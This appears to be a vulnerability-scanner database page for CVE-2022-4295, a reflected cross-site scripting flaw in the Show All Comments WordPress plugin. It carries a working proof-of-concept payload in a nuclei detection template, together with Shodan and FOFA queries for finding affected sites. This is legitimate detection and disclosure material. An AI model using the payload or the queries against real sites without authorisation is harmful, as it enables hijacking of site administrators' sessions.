HexBrain

Browse / CVEs / CVE-2022-4295

CVE-2022-4295· appjetty / show all comments· CWE-79

Show all comments < 7.0.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.9%likelihood of exploitation, next 30 days
60%of all CVEs are less likely
Readycheck to confirm it

The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Update to the latest version of the Show all comments plugin (7.0.1) or apply the vendor-supplied patch to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script>
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "<script>alert(document.domain)</script>") and contains(body, "Select </option>")

Run it with nuclei: nuclei -id CVE-2022-4295 -u <target>

The full check
id: CVE-2022-4295

info:
  name: Show all comments < 7.0.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Show all comments plugin (7.0.1) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/4ced1a4d-0c1f-42ad-8473-241c68b92b56
    - https://nvd.nist.gov/vuln/detail/CVE-2022-4295
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-4295
    cwe-id: CWE-79
    epss-score: 0.00906
    epss-percentile: 0.60163
    cpe: cpe:2.3:a:appjetty:show_all_comments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: appjetty
    product: show_all_comments
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/show-all-comments-in-one-page
    fofa-query: body=/wp-content/plugins/show-all-comments-in-one-page
    publicwww-query: /wp-content/plugins/show-all-comments-in-one-page
  tags: cve2022,cve,wpscan,wp,wordpress,wp-plugin,xss,show-all-comments-in-one-page,appjetty,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script>"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
          - 'contains(body, "Select </option>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from